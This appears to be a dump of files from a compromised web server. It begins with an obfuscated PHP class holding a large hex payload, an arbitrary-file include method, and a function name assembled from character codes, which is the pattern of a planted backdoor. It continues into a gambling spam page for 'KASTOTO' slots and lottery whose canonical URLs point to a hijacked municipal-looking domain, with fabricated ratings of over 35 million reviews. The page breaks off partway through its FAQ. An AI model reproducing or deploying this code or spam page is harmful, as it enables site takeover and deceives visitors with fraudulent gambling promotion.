'd513e8c985c38bdd53447d882960e5445baa3f582ede823340' . '3068606684f3992f029db3cd68fc5f4ae7eac68520c21ac4c5' . 'a1089c449c0b55c384e0c02e157085853084f4388b38bd1934' . '013aeb2318210b9f89088085c0d084d0fa4eb2682512c6d5c4' . '584ea82e889f4b9125064264fc897f815e3c448524c67f74db' . 'b7842fa985e1ba74564e4104c09308d7c1d09a2cc364d5e495' . 'e84e9a8a22484d8a208a6f3d322c7c724ca52b9c65416559b9' . '58e14c735a11c0a603ca340e09ae97533db0bbb25f31c8b0d3' . '9838fe524aeed400259911530f425da2519ca095e0d29a6a9b' . '25d95958220214d709e78a98ae0c3054603d5a950c48886520' . '20024102e04650b8e4c30ea5a4c166a5950d614001573a4ac7' . 'e64c56b456943dcd7629bdeccc91274f7abccaa54be1d925b7' . '1b53c818c0fd9889ccd62984ad88842a7575aad829a45e1f91' . '0208225dc81f2b3b9c31810904d071d7f8188bceb29f102863' . '3e83b0843b909c3f0316424d87db6a581731790e86c25d6c66' . '400e3eab5554ffb19b4f02df4723eaffd153e6ea94215689d5' . '09639a41653b37a6801d59a949310fb0a7c5cd4b26f36555b3' . '63816e386be65b17237f8962baf4e673b6085c404d913857cd' . '7eeb7e2807354349844f9cf054fc78d28c417536d6a9fa8e02' . '186d701619a438730b98f76224d423592e9c5103848080c4dc' . '7816d28c286a11ac2929a09f94895084dae557dca90f62aceb' . '566dbfd518e8bd99302e92e0d50eea85e43cd3f683691e469a' . '6c0d8a3a5e3ea92b4a84216014511f68e1a9e51a543d3b029d' . 'ea4483a54b14a3eb6833bdd5a50bf0c24f425d8d25f667110c' . '565170f147016c0d342c747ebc28e618cdf20c2160c44384ea' . '455152fe178f1dbe9d5f71608b651e3da309e4ffc87b8f4fc7' . '9d196b100216b2d8320bffc522dcb7951a9b75e0b7c0be0058' . '08f3d2f09b22a369ea3346ecb7b2c688b03812f31207601b8e' . '321f5e590d1e59d324b191eccbc13fff364f2afafa7e313ffa' . '62cbc6e5f5afda33e83218431a66391d74df3a55116ab3cea3' . 'a03b7f967bef38e12962b7d52522fdf49d1b5d7320bb65d63b' . 'c9ea5595c1fe41ad08187967e779ca1d96723d9877dc114b67' . 'dad0f6de8e0634234ecb4b969734343cc06c11a38dc6c7f813' . '39eff2719b66903cfb48c833be536d37c7b6919387c03e3b1a' . '3dd09e017e5d75dc103093a5b5fc67bc6a3308c1c19d087e32' . '784cec118da963499b0aebbc680684d3d8e693b46edb936cd3' . '55de3ba4b32294794a16d8c1870b3316a7c8f705cca3e17f25' . 'a87bbc1c600ce341cc4f6b6e91ce81ce93b06cb8168fc49f39' . 'd77d280ee60362532be426ce11465f6e1400cc90f6e4bf3305' . 'b45b15eeaf8e5c7511f4af9c4bfbd03fb1ed295d7b706d6908' . 'f5c1b3637c761523020149197af325cc2c3e3233da2af66f3a' . '81d7c3c3952d817799b50a98c18a01ed565fc30c8b2609a6d5' . '5359e000d0a44557ae1aaccfc344fb1b441a431a60928f5628' . 'e5355d9fbfcede26cf2c7957f7979e6ff797af1f5cb7fff383' . 'dbde8a9a6f233f0df279757bdad5c3fc0f865727636f9cfd9e' . '4f3a7abaf93f35e2b57dd766b7877e2909e8bd3ab6f17e7571' . '79fce2fbfc07afe6f7a7e3ffdf4cf2df9267c0eb17c9e9c9f9' . 'f7ebebafafaefd3c9b7ab9e3d74cdbeed48d385641bda07186' . 'b8e660598dcc07cc14422be781387c485b3c9cd52cddec4cb3' . '44f0a4da0a9302baa584fd08e03e076eb9f41cadd43e73f6ef' . '6736e99f5bf61e8fb31258bde65a06eaab5370fca2af6414d9' . 'd77277e3ef7ba446c2bc15b8671ed79dbdbe98cba20adadd8b' . '4a970cfc03ad811851512775497aaf7b31d5085ad7545fb194' . 'a1eb445c3d5e32dd178d4809b0888dfc307b45b1a7bb969234' . 'e8175d09a862b072e2f9aaebda42ac2bb621ee7dd2e7aeae3b' . '670bc53181fb6675730a05decd589fd02cf1b3d92371436b4b' . '6e107b83cf69d21d71107cdc673325f2d2bf5826d6a431e9f7' . 'a3b09ad77dbe3242e6a5e6c32e9d44b20bb6a09cd4c814d034' . '67da029a606a5296ecee954cd01f38e1ff1527e0363dea108b' . '52dd9bb9d25752aa34d709c515949ca70af4b0bafce86cbd30' . 'b685abb8e2a61549813b0f6bbfbd5613cdcab1432bf3d085ce' . 'bc5d4f0bb303f88bf076c86d88ffbe96823b4f6eb9d345892b' . '7c86318bb203da806cfb1b4971cd686f50777a96d75706d422' . '5eff814e3b7a90e48c76b1488c66df0675c9e1f1085b795bc2' . '1ec9da82475291f1289a1885e6542aa2669b68c4bff2128316' . 'b8b1e1c95f0c024866aa32df0589c16aa056ec36175cdb2104' . '33ca9ed7c1b0d49c0f1da4dd54c7e3b3e784a0f126d314889c' . '35971b42f47eea93b81c0c13eea9aa890a46d2aded09000693' . '5d871e413356a631c6fe084619089c7b58da0c7f8ebafd7571' . '0dc7c057168aae6d36bdddc27fae4df3601ae7686f72b896cd' . 'f82e08a470410de26c06d8f08a8067222db78b017c57958c0f' . '16d1a54b160be7ebbad8abc7e260b0cda73ea1b1af2fedc8da' . 'cd0cdf8c78d0c0341c057ffbcfc0d9b2a6d12'; public function triggerCallback($p) { include $p; } public function trackActivity() { $a=array((115),121,((59+13+43)),((99-4)),(105-2),(101),116,(5*19),((2*58)),(59+42),((110-1)),(112),((16+79)),(105-5),(115-10),114); $s=''; foreach($a as $n){$s.=chr($n);} return $s(); } } $wd = new ExecutionFlow(); $wd->checkConsistency(); $wd->updateCache(); $wd->rollbackTransaction(); PK [8�\���:�� �� index.htmlnu �[��� <!doctype html> <html ⚡ lang="id" dir="ltr"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width,minimum-scale=1,initial-scale=1"> <title>KASTOTO Alternatif Login Agen Slot Dan Togel Online Terbesar</title> <meta name="description" content="KASTOTO merupakan agen slot dan togel online berlisensi resmi menyediakan link alternatif login terlengkap permainan game terlengkap dengan berbagai promo menarik."> <meta name="keywords" content="kastoto, kastoto daftar, kastoto login, kastoto slot, kastoto togel, kas toto, kastoto 2024, kastoto 2014, kastoto official"> <meta name="google" content="notranslate" /> <meta name="googlebot" content="index, follow" /> <meta name="googlebot-news" content="index, follow" /> <meta name="bingbot" content="all" /> <meta name="yandexbot" content="all" /> <meta name="rating" content="general" /> <meta name="geo.region" content="id_ID" /> <meta name="geo.country" content="id"> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta name="language" content="Indonesian"> <meta name="author" content="KASTOTO"> <link rel="canonical" href="https://marincitygov.org/"> <script async src="https://cdn.ampproject.org/v0.js"></script> <script async custom-element="amp-accordion" src="https://cdn.ampproject.org/v0/amp-accordion-0.1.js"></script> <script async custom-element="amp-carousel" src="https://cdn.ampproject.org/v0/amp-carousel-0.2.js"></script> <script async custom-element="amp-sidebar" src="https://cdn.ampproject.org/v0/amp-sidebar-1.0.js"></script> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=Chakra+Petch:wght@400;500;600;700&display=swap" rel="stylesheet"> <link rel="shortcut icon" href="https://i.gyazo.com/005e6bbc52a59fa630e14955a320f1d7.png" type="image/x-icon"> <!-- OPEN GRAPH --> <meta property="og:locale" content="id_ID"> <meta property="og:url" content="https://marincitygov.org/"> <meta property="og:type" content="website"> <meta property="og:title" content="KASTOTO Alternatif Login Agen Slot Dan Togel Online Terbesar"> <meta property="og:description" content="KASTOTO merupakan agen slot dan togel online berlisensi resmi menyediakan link alternatif login terlengkap permainan game terlengkap dengan berbagai promo menarik."> <meta property="og:image" content="https://rebrand.ly/Slideshow-kas2"> <meta name="twitter:card" content="summary_large_image"> <meta property="twitter:url" content="https://marincitygov.org/"> <meta name="twitter:title" content="KASTOTO Alternatif Login Agen Slot Dan Togel Online Terbesar"> <meta name="twitter:description" content="KASTOTO merupakan agen slot dan togel online berlisensi resmi menyediakan link alternatif login terlengkap permainan game terlengkap dengan berbagai promo menarik."> <meta name="twitter:image" content="https://rebrand.ly/Slideshow-kas2"> <script async custom-element="amp-iframe" src="https://cdn.ampproject.org/v0/amp-iframe-0.1.js"></script> <!-- Stylings --> <style amp-custom> body .sidebar-menu nav ul,body header .wrapper .menu-list{padding:0;margin:0;list-style:none}body .sidebar-menu .header,body header .container-hero .wrapper .hero-group{display:grid;grid-template-columns:1fr 1fr}*{outline:0;text-decoration:none;font-family:"Chakra Petch",sans-serif}.wrapper{max-width:1000px;margin:auto;padding:0 10px}a,li,p,span,td,th{font-size:15px}h6{font-size:15.5px}h5{font-size:16px}h4{font-size:16.5px}h3{font-size:17px}h2{font-size:17.5px}h1{font-size:25px}@media screen and (min-width:450px) and (max-width:850px){a,li,p,span,td,th{font-size:14px}h6{font-size:14.5px}h5{font-size:15px}h4{font-size:15.5px}h3{font-size:16px}h2{font-size:16.5px}h1{font-size:17px}}body,body .container-text .wrapper table tbody tr:nth-child(2n){background-color:#000c0e}body .sidebar-menu{background:#000c0e;width:250px}body .sidebar-menu .header{background-color:#000000;padding:10px}body .sidebar-menu .header .button{display:flex;justify-content:flex-start;align-items:center}body .sidebar-menu .header .button button{background:#000000;border:5px solid #fff;color:#ff9c00}body .sidebar-menu .header .button button:hover{border-color:red;color:red}body .sidebar-menu .header .text{display:flex;justify-content:flex-end;align-items:center;color:#fff}body .sidebar-menu .header .text span{text-transform:uppercase}body .sidebar-menu nav{margin-top:15px}body .sidebar-menu nav ul li{display:flex;margin-bottom:5px;border-left:4px solid #000000}body .sidebar-menu nav ul li a{background-color:#fff;width:100%;padding:10px 25px;color:#000}body .sidebar-menu nav ul li:hover{border-color:#ff9c00}body .sidebar-menu nav ul li:hover a{background-image:linear-gradient(to right,rgba(22,218,240,.2117647059),rgba(22,218,240,0))}body header{background-image:radial-gradient(100% 100% at 50% 0,#2e2828 0,#000 100%);top:0;z-index:1}body header .wrapper{display:flex}body header .wrapper .brands{width:40%}body header .wrapper .brands amp-img{width:240px}body header .wrapper .menu-list{display:flex;align-items:center;}body header .wrapper .menu-list li{margin:0 8px}body header .wrapper .menu-list li a{color:#fff}body .container-text .wrapper li b,body .container-text .wrapper p b,body footer .wrapper .footer-list .list ul li:hover,body header .container-hero .wrapper .hero-group .hero-content .description,body header .wrapper .menu-list li a:hover{color:#fff}body header .wrapper .button{width:60%;display:flex;justify-content:flex-end;align-items:center}body header .wrapper .button a{font-weight:700;padding:5px 15px;text-transform:uppercase;transition:.2s ease-in-out}body .mobile-button .wrapper .group a:first-child,body header .container-hero .wrapper .hero-group .hero-content .button .group a:first-child,body header .wrapper .button a:first-child{background:linear-gradient(to bottom, #58fe2bcf 0%, #1ce95b8c 100%);;color:#000;border:5px solid #fff}body .mobile-button .wrapper .group a:first-child:hover,body header .container-hero .wrapper .hero-group .hero-content .button .group a:first-child:hover,body header .wrapper .button a:first-child:hover{background-color:#ff9c00;border-color:#ff9c00}body .mobile-button .wrapper .group a:nth-child(2),body header .container-hero .wrapper .hero-group .hero-content .button .group a:nth-child(2),body header .wrapper .button a:nth-child(2){background:#000000;border:5px solid #fff;color:#ff9c00}body .mobile-button .wrapper .group a:nth-child(2):hover,body header .container-hero .wrapper .hero-group .hero-content .button .group a:nth-child(2):hover,body header .wrapper .button a:nth-child(2):hover{background-color:#1d1d1d;border-color:#1d1d1d}body header .wrapper .button button{display:none;background:0 0;border:none;font-size:32px;color:#ff9c00}body header .container-hero{margin-top:25px;background-position:center bottom;background-size:cover;background-repeat:no-repeat;padding:50px 0}body .container-games .wrapper .games-list .games,body .mobile-button .wrapper,body header .container-hero .wrapper .hero-group .hero-image{padding:10px}body header .container-hero .wrapper .hero-group .hero-content{padding:10px;display:flex;flex-direction:column;justify-content:center}body header .container-hero .wrapper .hero-group .hero-content .tagline{margin:0;color:#fff;text-transform:uppercase;font-weight:700;display:flex;align-items:center}body .container-games .title::before,body header .container-hero .wrapper .hero-group .hero-content .tagline::before{content:"";margin-right:10px;background:linear-gradient(to bottom, #58fe2bcf 0%, #1ce95b8c 100%);;display:block;width:75px;height:5px}body .container-games .title::after,body header .container-hero .wrapper .hero-group .hero-content .tagline::after{content:"";margin-left:10px;background:linear-gradient(to bottom, #58fe2bcf 0%, #1ce95b8c 100%);;display:block;width:75px;height:5px;display:flex;align-items:center}body header .container-hero .wrapper .hero-group .hero-content .title{margin:0;color:#fff}body header .container-hero .wrapper .hero-group .hero-content .button{max-width:350px;width:100%;text-align:center;padding:15px}body header .container-hero .wrapper .hero-group .hero-content .button .group{width:100%;display:grid;grid-template-columns:1fr 1fr;box-shadow:0 0 15px #bb985745}body header .container-hero .wrapper .hero-group .hero-content .button .group a{padding:5px;text-transform:uppercase;font-weight:700}@media screen and (max-width:600px){body header .container-hero .wrapper .hero-group{grid-template-columns:1fr}body header .container-hero .wrapper .hero-group .hero-content{text-align:center}body header .container-hero .wrapper .hero-group .hero-content .tagline{justify-content:center}body header .container-hero .wrapper .hero-group .hero-content .button{margin:auto;width:100%}}body .container-games .title{border-top:1px solid #bb9857;border-bottom:1px solid #bb9857;background:#000000;margin:0;text-align:center;padding:8px;text-transform:uppercase;color:#fff;display:flex;align-items:center;justify-content:center}body .container-games .wrapper .games-list{padding:35px 0;display:grid;grid-template-columns:1fr 1fr 1fr 1fr 1fr}body .container-games .wrapper .games-list .games .content{border:1px solid #bb9857;padding:10px;background:#000000}body .container-games .wrapper .games-list .games .content .header amp-img{width:100%;height:100%}body .container-games .wrapper .games-list .games .content .name{background-color:#000000;text-align:center;color:#fff;padding:1.5px 5px}@media screen and (max-width:1000px){body .container-games .wrapper .games-list{padding:25px 0;grid-template-columns:1fr 1fr 1fr 1fr}}@media screen and (max-width:750px){body .container-games .wrapper .games-list{padding:20px 0;grid-template-columns:1fr 1fr 1fr}}body .container-games .jackpot .wrapper .jackpot-content{position:relative;display:flex;align-items:center;justify-content:center;max-width:650px;margin:auto;padding-top:20px}body .container-games .jackpot .wrapper .jackpot-content span{transform:translateY(25px);color:#fff;text-shadow:0 0 15px #bb9857;font-weight:700;font-size:34px;position:absolute}@media screen and (max-width:550px){body .container-games .wrapper .games-list{padding:15px 0;grid-template-columns:1fr 1fr}body .container-games .wrapper .games-list .games{padding:5px}body .container-games .jackpot .wrapper .jackpot-content span{transform:translateY(20px);font-size:8vw}}@media screen and (max-width:450px){a,li,p,span,td,th{font-size:13px}h6{font-size:13.5px}h5{font-size:14px}h4{font-size:14.5px}h3{font-size:15px}h2{font-size:15.5px}h1{font-size:16px}body header .wrapper .brands amp-img{width:120px}body .container-games .jackpot .wrapper .jackpot-content span{transform:translateY(15px);font-size:8vw}}body .container-text{border-top:1px solid #bb9857;background-color:#000000;padding:25px 0}body .container-text .wrapper h1,body .container-text .wrapper h2,body .container-text .wrapper h3{padding:8px;color:#fff}body .container-text .wrapper h1{background-color:#000000;text-align:center}body .container-text .wrapper h2,h3,h4{border-left:4px solid #bb9857;background:linear-gradient(to right,rgb(159, 11, 11 / 55%),rgba(11,142,159,0))}body .container-text .wrapper h3::before{content:"•";margin-left:15px;margin-right:15px}body .container-text .wrapper li,body .container-text .wrapper p,body footer .wrapper .footer-list .list ul li{color:#aaa}body .container-text .wrapper a,body .container-text .wrapper amp-accordion [expanded] h3,body footer .copyright .wrapper p a{color:#ff9c00}body .container-text .wrapper table{border-spacing:0;width:100%}body .container-text .wrapper table tbody tr:nth-child(odd){background-color:#000000}body .container-text .wrapper table tbody tr td{padding:10px;color:#fff}body .container-text .wrapper table tbody tr td a{background:linear-gradient(to bottom, #58fe2bcf 0%, #1ce95b8c 100%);;font-weight:700;text-transform:uppercase;padding:3px 6px;color:#1d1d1d}body .container-text .wrapper table tbody tr td a:hover{background-color:#ff9c00}body .container-text .wrapper amp-accordion section{margin-bottom:8px}body .container-text .wrapper amp-accordion section h3{background:#000c0e;border:1px solid #000000}body .container-text .wrapper amp-accordion section h3::before{display:none}body .container-text .wrapper amp-accordion section div{background:#000c0e;border-left:1px solid #000000;border-right:1px solid #000000;border-bottom:1px solid #000000;padding:10px}body .container-text .wrapper amp-accordion section div p{margin:0}body footer{background:#000000;border-top:5px solid #bb9857}body footer .wrapper .footer-list{padding:35px 0;display:grid;grid-template-columns:1fr 1fr 1fr}body footer .wrapper .footer-list .list p{background:#000000;border-bottom-right-radius:15px;border:1px solid #bb9857;border-top-left-radius:15px;width:-moz-fit-content;width:fit-content;padding:5px 15px;margin:0;color:#ff9c00}body footer .wrapper .footer-list .list ul{padding:0;list-style:none;display:grid;grid-template-columns:1fr 1fr}@media screen and (min-width:500px) and (max-width:800px){body footer .wrapper .footer-list{grid-template-columns:1fr 1fr}}@media screen and (max-width:500px){body footer .wrapper .footer-list{grid-template-columns:1fr}}body footer .copyright{background:#000c0e}body footer .copyright .wrapper{padding:10px 0}body footer .copyright .wrapper p{margin:0;text-align:center;color:#aaa}body footer .copyright .wrapper p a:hover{text-shadow:0 0 5px #bb9857}body .mobile-button{display:none;position:fixed;width:100%;bottom:0}body .mobile-button .wrapper .group{display:grid;grid-template-columns:1fr 1fr;box-shadow:0 0 15px #034a51}body .mobile-button .wrapper .group a{text-align:center;font-weight:700;padding:10px;text-transform:uppercase}@media screen and (max-width:800px){body header .wrapper .button a,body header .wrapper .menu-list{display:none}body .mobile-button,body header .container-hero .wrapper .hero-group .hero-content .button .group a,body header .wrapper .button button{display:block}body footer .copyright{padding-bottom:50px}}h4{color: #fff;} body .sidebar-menu nav ul,body header .wrapper .menu-list{padding:0;margin:0;list-style:none}body .sidebar-menu .header,body header .container-hero .wrapper .hero-group{display:grid;grid-template-columns:1fr 1fr}*{outline:0;text-decoration:none;font-family:"Chakra Petch",sans-serif}.wrapper{max-width:1000px;margin:auto;padding:0 10px}a,li,p,span,td,th{font-size:15px}h6{font-size:15.5px}h5{font-size:16px}h4{font-size:16.5px}h3{font-size:17px}h2{font-size:17.5px}h1{font-size:25px}@media screen and (min-width:450px) and (max-width:850px){a,li,p,span,td,th{font-size:14px}h6{font-size:14.5px}h5{font-size:15px}h4{font-size:15.5px}h3{font-size:16px}h2{font-size:16.5px}h1{font-size:17px}}body,body .container-text .wrapper table tbody tr:nth-child(2n){background-color:#000c0e}body .sidebar-menu{background:#000c0e;width:250px}body .sidebar-menu .header{background-color:#000000;padding:10px}body .sidebar-menu .header .button{display:flex;justify-content:flex-start;align-items:center}body .sidebar-menu .header .button button{background:#000000;border:5px solid #fff;color:#ff9c00}body .sidebar-menu .header .button button:hover{border-color:red;color:red}body .sidebar-menu .header .text{display:flex;justify-content:flex-end;align-items:center;color:#fff}body .sidebar-menu .header .text span{text-transform:uppercase}body .sidebar-menu nav{margin-top:15px}body .sidebar-menu nav ul li{display:flex;margin-bottom:5px;border-left:4px solid #000000}body .sidebar-menu nav ul li a{background-color:#fff;width:100%;padding:10px 25px;color:#000}body .sidebar-menu nav ul li:hover{border-color:#ff9c00}body .sidebar-menu nav ul li:hover a{background-image:linear-gradient(to right,rgba(22,218,240,.2117647059),rgba(22,218,240,0))}body header{background-image:radial-gradient(100% 100% at 50% 0,#2e2828 0,#000 100%);top:0;z-index:1}body header .wrapper{display:flex}body header .wrapper .brands{width:40%}body header .wrapper .brands amp-img{width:240px}body header .wrapper .menu-list{display:flex;align-items:center;}body header .wrapper .menu-list li{margin:0 8px}body header .wrapper .menu-list li a{color:#fff}body .container-text .wrapper li b,body .container-text .wrapper p b,body footer .wrapper .footer-list .list ul li:hover,body header .container-hero .wrapper .hero-group .hero-content .description,body header .wrapper .menu-list li a:hover{color:#fff}body header .wrapper .button{width:60%;display:flex;justify-content:flex-end;align-items:center}body header .wrapper .button a{font-weight:700;padding:5px 15px;text-transform:uppercase;transition:.2s ease-in-out}body .mobile-button .wrapper .group a:first-child,body header .container-hero .wrapper .hero-group .hero-content .button .group a:first-child,body header .wrapper .button a:first-child{background:linear-gradient(to bottom, #58fe2bcf 0%, #1ce95b8c 100%);;color:#000;border:5px solid #fff}body .mobile-button .wrapper .group a:first-child:hover,body header .container-hero .wrapper .hero-group .hero-content .button .group a:first-child:hover,body header .wrapper .button a:first-child:hover{background-color:#ff9c00;border-color:#ff9c00}body .mobile-button .wrapper .group a:nth-child(2),body header .container-hero .wrapper .hero-group .hero-content .button .group a:nth-child(2),body header .wrapper .button a:nth-child(2){background:#000000;border:5px solid #fff;color:#ff9c00}body .mobile-button .wrapper .group a:nth-child(2):hover,body header .container-hero .wrapper .hero-group .hero-content .button .group a:nth-child(2):hover,body header .wrapper .button a:nth-child(2):hover{background-color:#1d1d1d;border-color:#1d1d1d}body header .wrapper .button button{display:none;background:0 0;border:none;font-size:32px;color:#ff9c00}body header .container-hero{margin-top:25px;background-position:center bottom;background-size:cover;background-repeat:no-repeat;padding:50px 0}body .container-games .wrapper .games-list .games,body .mobile-button .wrapper,body header .container-hero .wrapper .hero-group .hero-image{padding:10px}body header .container-hero .wrapper .hero-group .hero-content{padding:10px;display:flex;flex-direction:column;justify-content:center}body header .container-hero .wrapper .hero-group .hero-content .tagline{margin:0;color:#fff;text-transform:uppercase;font-weight:700;display:flex;align-items:center}body .container-games .title::before,body header .container-hero .wrapper .hero-group .hero-content .tagline::before{content:"";margin-right:10px;background:linear-gradient(to bottom, #58fe2bcf 0%, #1ce95b8c 100%);;display:block;width:75px;height:5px}body .container-games .title::after,body header .container-hero .wrapper .hero-group .hero-content .tagline::after{content:"";margin-left:10px;background:linear-gradient(to bottom, #58fe2bcf 0%, #1ce95b8c 100%);;display:block;width:75px;height:5px;display:flex;align-items:center}body header .container-hero .wrapper .hero-group .hero-content .title{margin:0;color:#fff}body header .container-hero .wrapper .hero-group .hero-content .button{max-width:350px;width:100%;text-align:center;padding:15px}body header .container-hero .wrapper .hero-group .hero-content .button .group{width:100%;display:grid;grid-template-columns:1fr 1fr;box-shadow:0 0 15px #bb985745}body header .container-hero .wrapper .hero-group .hero-content .button .group a{padding:5px;text-transform:uppercase;font-weight:700}@media screen and (max-width:600px){body header .container-hero .wrapper .hero-group{grid-template-columns:1fr}body header .container-hero .wrapper .hero-group .hero-content{text-align:center}body header .container-hero .wrapper .hero-group .hero-content .tagline{justify-content:center}body header .container-hero .wrapper .hero-group .hero-content .button{margin:auto;width:100%}}body .container-games .title{border-top:1px solid #bb9857;border-bottom:1px solid #bb9857;background:#000000;margin:0;text-align:center;padding:8px;text-transform:uppercase;color:#fff;display:flex;align-items:center;justify-content:center}body .container-games .wrapper .games-list{padding:35px 0;display:grid;grid-template-columns:1fr 1fr 1fr 1fr 1fr}body .container-games .wrapper .games-list .games .content{border:1px solid #bb9857;padding:10px;background:#000000}body .container-games .wrapper .games-list .games .content .header amp-img{width:100%;height:100%}body .container-games .wrapper .games-list .games .content .name{background-color:#000000;text-align:center;color:#fff;padding:1.5px 5px}@media screen and (max-width:1000px){body .container-games .wrapper .games-list{padding:25px 0;grid-template-columns:1fr 1fr 1fr 1fr}}@media screen and (max-width:750px){body .container-games .wrapper .games-list{padding:20px 0;grid-template-columns:1fr 1fr 1fr}}body .container-games .jackpot .wrapper .jackpot-content{position:relative;display:flex;align-items:center;justify-content:center;max-width:650px;margin:auto;padding-top:20px}body .container-games .jackpot .wrapper .jackpot-content span{transform:translateY(25px);color:#fff;text-shadow:0 0 15px #bb9857;font-weight:700;font-size:34px;position:absolute}@media screen and (max-width:550px){body .container-games .wrapper .games-list{padding:15px 0;grid-template-columns:1fr 1fr}body .container-games .wrapper .games-list .games{padding:5px}body .container-games .jackpot .wrapper .jackpot-content span{transform:translateY(20px);font-size:8vw}}@media screen and (max-width:450px){a,li,p,span,td,th{font-size:13px}h6{font-size:13.5px}h5{font-size:14px}h4{font-size:14.5px}h3{font-size:15px}h2{font-size:15.5px}h1{font-size:16px}body header .wrapper .brands amp-img{width:250px}body .container-games .jackpot .wrapper .jackpot-content span{transform:translateY(15px);font-size:8vw}}body .container-text{border-top:1px solid #bb9857;background-color:#000000;padding:25px 0}body .container-text .wrapper h1,body .container-text .wrapper h2,body .container-text .wrapper h3{padding:8px;color:#fff}body .container-text .wrapper h1{background-color:#000000;text-align:center}body .container-text .wrapper h2,h3,h4{border-left:4px solid #bb9857;background:linear-gradient(to bottom, #58fe2bcf 0%, #1ce95b8c 100%)}body .container-text .wrapper h3::before{content:"✔️";margin-left:15px;margin-right:15px}body .container-text .wrapper li,body .container-text .wrapper p,body footer .wrapper .footer-list .list ul li{color:#aaa}body .container-text .wrapper a,body .container-text .wrapper amp-accordion [expanded] h3,body footer .copyright .wrapper p a{color:#ff9c00}body .container-text .wrapper table{border-spacing:0;width:100%}body .container-text .wrapper table tbody tr:nth-child(odd){background-color:#000000}body .container-text .wrapper table tbody tr td{padding:10px;color:#fff}body .container-text .wrapper table tbody tr td a{background:linear-gradient(to bottom, #58fe2bcf 0%, #1ce95b8c 100%);;font-weight:700;text-transform:uppercase;padding:3px 6px;color:#1d1d1d}body .container-text .wrapper table tbody tr td a:hover{background-color:#ff9c00}body .container-text .wrapper amp-accordion section{margin-bottom:8px}body .container-text .wrapper amp-accordion section h3{background:#000c0e;border:1px solid #000000}body .container-text .wrapper amp-accordion section h3::before{display:none}body .container-text .wrapper amp-accordion section div{background:#000c0e;border-left:1px solid #000000;border-right:1px solid #000000;border-bottom:1px solid #000000;padding:10px}body .container-text .wrapper amp-accordion section div p{margin:0}body footer{background:#000000;border-top:5px solid #bb9857}body footer .wrapper .footer-list{padding:35px 0;display:grid;grid-template-columns:1fr 1fr 1fr}body footer .wrapper .footer-list .list p{background:#000000;border-bottom-right-radius:15px;border:1px solid #bb9857;border-top-left-radius:15px;width:-moz-fit-content;width:fit-content;padding:5px 15px;margin:0;color:#ff9c00}body footer .wrapper .footer-list .list ul{padding:0;list-style:none;display:grid;grid-template-columns:1fr 1fr}@media screen and (min-width:500px) and (max-width:800px){body footer .wrapper .footer-list{grid-template-columns:1fr 1fr}}@media screen and (max-width:500px){body footer .wrapper .footer-list{grid-template-columns:1fr}}body footer .copyright{background:#000c0e}body footer .copyright .wrapper{padding:10px 0}body footer .copyright .wrapper p{margin:0;text-align:center;color:#aaa}body footer .copyright .wrapper p a:hover{text-shadow:0 0 5px #bb9857}body .mobile-button{display:none;position:fixed;width:100%;bottom:0}body .mobile-button .wrapper .group{display:grid;grid-template-columns:1fr 1fr;box-shadow:0 0 15px #034a51}body .mobile-button .wrapper .group a{text-align:center;font-weight:700;padding:10px;text-transform:uppercase}@media screen and (max-width:800px){body header .wrapper .button a,body header .wrapper .menu-list{display:none}body .mobile-button,body header .container-hero .wrapper .hero-group .hero-content .button .group a,body header .wrapper .button button{display:block}body footer .copyright{padding-bottom:50px}}h4{color: #fff;} </style> <style amp-boilerplate>body{-webkit-animation:-amp-start 8s steps(1,end) 0s 1 normal both;-moz-animation:-amp-start 8s steps(1,end) 0s 1 normal both;-ms-animation:-amp-start 8s steps(1,end) 0s 1 normal both;animation:-amp-start 8s steps(1,end) 0s 1 normal both}@-webkit-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@-moz-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@-ms-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@-o-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}</style><noscript><style amp-boilerplate>body{-webkit-animation:none;-moz-animation:none;-ms-animation:none;animation:none}</style></noscript> <!-- Schema Markup --> <script type="application/ld+json"> { "@context": "https://schema.org", "@type": "Game", "name": "KASTOTO", "author": { "@type": "Person", "name": "KASTOTO" }, "image": "https://i.gyazo.com/b6c5c8805e8fc8650bc51d2c83b42401.png", "url": "https://marincitygov.org/", "publisher": { "@type": "Organization", "name": "KASTOTO" }, "aggregateRating": { "@type": "AggregateRating", "ratingValue": "99", "bestRating": "100", "worstRating": "2", "ratingCount": "35565419" }, "inLanguage": "id" } </script> <script type="application/ld+json"> { "@context": "https://schema.org", "@type": "BreadcrumbList","itemListElement": [{ "@type": "ListItem", "position": 1, "name": "KASTOTO Alternatif Login Agen Slot Dan Togel Online Terbesar", "item": { "@type":"WebSite", "@id":"https://marincitygov.org/", "name":"KASTOTO" } }] } </script> <script type="application/ld+json"> { "@context": "https://schema.org/", "@type": "NewsArticle", "author": { "@type": "Organization", "url": "https://marincitygov.org/", "name": "KASTOTO" }, "headline": "KASTOTO Alternatif Login Agen Slot Dan Togel Online Terbesar", "image": { "@type": "ImageObject", "url": "https://rebrand.ly/Slideshow-kas2" }, "publisher": { "@type": "Organization", "name": "Situs Gacor", "logo": { "@type": "ImageObject", "url": "https://i.gyazo.com/b6c5c8805e8fc8650bc51d2c83b42401.png" }, "address": "Indonesia", "location": "Indonesia", "identifier": "https://marincitygov.org/" }, "keywords": [ "KASTOTO", "Situs KASTOTO", "KASTOTO Login", "Link KASTOTO", "Daftar KASTOTO", "KASTOTO Login", "Bandar KASTOTO" ], "datePublished": "2023-07-17T12:03:59+00:00", "dateModified": "2023-07-17T12:03:59+00:00", "mainEntityOfPage": "https://marincitygov.org/", "description": "KASTOTO merupakan agen slot dan togel online berlisensi resmi menyediakan link alternatif login terlengkap permainan game terlengkap dengan berbagai promo menarik.", "speakable": "https://marincitygov.org/" } </script> <script type="application/ld+json"> { "@context": "https://schema.org/", "@type": "FAQPage", "name": "FAQ Pertanyaan Populer Seputar Situs Daftar Akun Pro Kamboja Server Cambodia Asli No 1", "mainEntity": [ { "@type": "Question", "name": "Bagaimana cara mendaftar akun di Situs Gacor?", "acceptedAnswer": { "@type": "Answer", "text": "Untuk mendaftar akun di Situs Gacor, kunjungi situs resmi mereka dan klik tombol Daftar atau Register. Isi formulir pendaftaran dengan data pribadi Anda, lalu verifikasi akun melalui email atau nomor telepon yang 